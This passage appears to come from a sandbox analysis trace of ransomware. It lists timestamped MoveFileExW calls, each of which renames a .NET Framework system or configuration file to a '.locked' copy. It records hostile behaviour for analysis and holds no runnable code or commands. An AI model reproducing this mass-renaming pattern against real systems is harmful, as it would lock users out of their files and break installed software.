"c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\unselectedtab_rightcorner.gif.locked"), dwFlags=0x2) returned 1 [0206.402] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\yellowCORNER.gif" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\yellowcorner.gif"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\yellowCORNER.gif.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\yellowcorner.gif.locked"), dwFlags=0x2) returned 1 [0206.413] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\chooseProviderManagement.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\providers\\chooseprovidermanagement.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\chooseProviderManagement.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\providers\\chooseprovidermanagement.aspx.locked"), dwFlags=0x2) returned 1 [0206.428] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\ManageConsolidatedProviders.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\providers\\manageconsolidatedproviders.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\ManageConsolidatedProviders.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\providers\\manageconsolidatedproviders.aspx.locked"), dwFlags=0x2) returned 1 [0206.441] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\ManageProviders.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\providers\\manageproviders.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Providers\\ManageProviders.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\providers\\manageproviders.aspx.locked"), dwFlags=0x2) returned 1 [0206.468] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\createPermission.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\permissions\\createpermission.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\createPermission.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\permissions\\createpermission.aspx.locked"), dwFlags=0x2) returned 1 [0206.491] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\managePermissions.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\permissions\\managepermissions.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\managePermissions.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\permissions\\managepermissions.aspx.locked"), dwFlags=0x2) returned 1 [0206.506] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\manageAllRoles.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\roles\\manageallroles.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\manageAllRoles.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\roles\\manageallroles.aspx.locked"), dwFlags=0x2) returned 1 [0206.519] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\manageSingleRole.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\roles\\managesinglerole.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\manageSingleRole.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\roles\\managesinglerole.aspx.locked"), dwFlags=0x2) returned 1 [0206.531] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\security.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\security.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\security.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\security.aspx.locked"), dwFlags=0x2) returned 1 [0206.536] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\security0.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\security0.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\security0.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\security0.aspx.locked"), dwFlags=0x2) returned 1 [0206.541] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\setUpAuthentication.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\setupauthentication.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\setUpAuthentication.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\setupauthentication.aspx.locked"), dwFlags=0x2) returned 1 [0206.552] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\addUser.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\adduser.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\addUser.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\adduser.aspx.locked"), dwFlags=0x2) returned 1 [0206.570] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\editUser.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\edituser.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\editUser.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\edituser.aspx.locked"), dwFlags=0x2) returned 1 [0206.582] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\findUsers.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\findusers.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\findUsers.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\findusers.aspx.locked"), dwFlags=0x2) returned 1 [0206.602] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\manageUsers.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\manageusers.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\manageUsers.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\manageusers.aspx.locked"), dwFlags=0x2) returned 1 [0206.631] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\wizard.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\wizard.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Wizard\\wizard.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\wizard\\wizard.aspx.locked"), dwFlags=0x2) returned 1 [0206.636] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\web.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\web.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\web.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\web.config.locked"), dwFlags=0x2) returned 1 [0206.654] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp.aspx.locked"), dwFlags=0x2) returned 1 [0206.670] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_application.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_application.aspx.locked"), dwFlags=0x2) returned 1 [0206.677] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_internals.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_internals.aspx.locked"), dwFlags=0x2) returned 1 [0206.687] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_provider.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_provider.aspx.locked"), dwFlags=0x2) returned 1 [0206.700] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Security.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_security.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminHelp_Security.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminhelp_security.aspx.locked"), dwFlags=0x2) returned 1 [0206.716] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminStyles.css" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminstyles.css"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\WebAdminStyles.css.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\webadminstyles.css.locked"), dwFlags=0x2) returned 1 [0206.719] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Aspnet.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Aspnet.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet.config.locked"), dwFlags=0x2) returned 1 [0206.728] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_perf.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_perf.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_perf.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_perf.h.locked"), dwFlags=0x2) returned 1 [0206.735] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_state_perf.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_state_perf.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_state_perf.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\aspnet_state_perf.h.locked"), dwFlags=0x2) returned 1 [0206.738] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\caspol.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\caspol.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\caspol.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\caspol.exe.config.locked"), dwFlags=0x2) returned 1 [0206.812] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\DefaultWsdlHelpGenerator.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\defaultwsdlhelpgenerator.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\DefaultWsdlHelpGenerator.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\defaultwsdlhelpgenerator.aspx.locked"), dwFlags=0x2) returned 1 [0206.829] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_hightrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\legacy.web_hightrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_hightrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\legacy.web_hightrust.config.locked"), dwFlags=0x2) returned 1 [0206.840] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_lowtrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\legacy.web_lowtrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_lowtrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\legacy.web_lowtrust.config.locked"), dwFlags=0x2) returned 1 [0206.990] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_mediumtrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\legacy.web_mediumtrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_mediumtrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\legacy.web_mediumtrust.config.locked"), dwFlags=0x2) returned 1 [0207.006] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_minimaltrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\legacy.web_minimaltrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\legacy.web_minimaltrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\legacy.web_minimaltrust.config.locked"), dwFlags=0x2) returned 1 [0207.043] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config.locked"), dwFlags=0x2) returned 1 [0207.049] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\NetFx40_IIS_schema_update.xml" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\netfx40_iis_schema_update.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\NetFx40_IIS_schema_update.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\netfx40_iis_schema_update.xml.locked"), dwFlags=0x2) returned 1 [0207.093] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\NetFx45_IIS_schema_update.xml" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\netfx45_iis_schema_update.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\NetFx45_IIS_schema_update.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\netfx45_iis_schema_update.xml.locked"), dwFlags=0x2) returned 1 [0207.135] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web.config.locked"), dwFlags=0x2) returned 1 [0207.151] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_hightrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web_hightrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_hightrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web_hightrust.config.locked"), dwFlags=0x2) returned 1 [0207.161] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_lowtrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web_lowtrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_lowtrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web_lowtrust.config.locked"), dwFlags=0x2) returned 1 [0207.173] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_mediumtrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web_mediumtrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_mediumtrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web_mediumtrust.config.locked"), dwFlags=0x2) returned 1 [0207.181] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_minimaltrust.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web_minimaltrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_minimaltrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\web_minimaltrust.config.locked"), dwFlags=0x2) returned 1 [0207.190] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CORPerfMonSymbols.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\corperfmonsymbols.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CORPerfMonSymbols.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\corperfmonsymbols.h.locked"), dwFlags=0x2) returned 1 [0207.193] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\csc.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\csc.exe.config.locked"), dwFlags=0x2) returned 1 [0207.196] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\cvtres.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\cvtres.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\cvtres.exe.config.locked"), dwFlags=0x2) returned 1 [0207.199] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\datasvcutil.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\DataSvcUtil.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\datasvcutil.exe.config.locked"), dwFlags=0x2) returned 1 [0207.201] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\dfsvc.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\dfsvc.exe.config.locked"), dwFlags=0x2) returned 1 [0207.214] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ilasm.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\ilasm.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ilasm.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\ilasm.exe.config.locked"), dwFlags=0x2) returned 1 [0207.242] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installcommon.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallCommon.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installcommon.sql.locked"), dwFlags=0x2) returned 1 [0207.300] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installmembership.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallMembership.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installmembership.sql.locked"), dwFlags=0x2) returned 1 [0207.354] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installpersistsqlstate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installpersistsqlstate.sql.locked"), dwFlags=0x2) returned 1 [0207.390] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installpersonalization.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installpersonalization.sql.locked"), dwFlags=0x2) returned 1 [0207.425] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installroles.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installroles.sql.locked"), dwFlags=0x2) returned 1 [0207.479] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installsqlstate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlState.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installsqlstate.sql.locked"), dwFlags=0x2) returned 1 [0207.534] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installsqlstatetemplate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallSqlStateTemplate.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installsqlstatetemplate.sql.locked"), dwFlags=0x2) returned 1 [0207.538] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installutil.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installutil.exe.config.locked"), dwFlags=0x2) returned 1 [0207.548] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installwebeventsqlprovider.sql"), 